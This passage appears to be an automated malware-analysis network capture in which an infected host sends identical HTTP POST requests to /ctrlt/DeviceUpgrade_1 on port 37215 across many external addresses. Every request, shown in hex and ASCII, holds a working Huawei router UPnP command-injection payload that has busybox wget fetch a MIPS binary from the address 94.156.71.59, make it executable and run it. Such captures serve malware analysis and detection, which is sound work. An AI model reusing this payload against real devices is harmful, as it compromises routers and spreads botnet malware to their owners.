73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
692	192.168.2.13	38800	41.58.235.129	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.653727055 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
693	192.168.2.13	54110	197.149.108.206	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.654412985 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
694	192.168.2.13	48126	41.138.83.212	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.655152082 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
695	192.168.2.13	38930	41.120.207.139	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.656080961 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
696	192.168.2.13	34154	156.66.27.141	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.656591892 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
697	192.168.2.13	50714	41.14.88.10	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.657284021 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
698	192.168.2.13	38440	197.63.49.202	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.657974005 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
699	192.168.2.13	58346	156.2.142.241	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.658653021 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
700	192.168.2.13	60882	41.178.84.39	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.660067081 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
701	192.168.2.13	49490	197.173.181.199	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.662261009 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
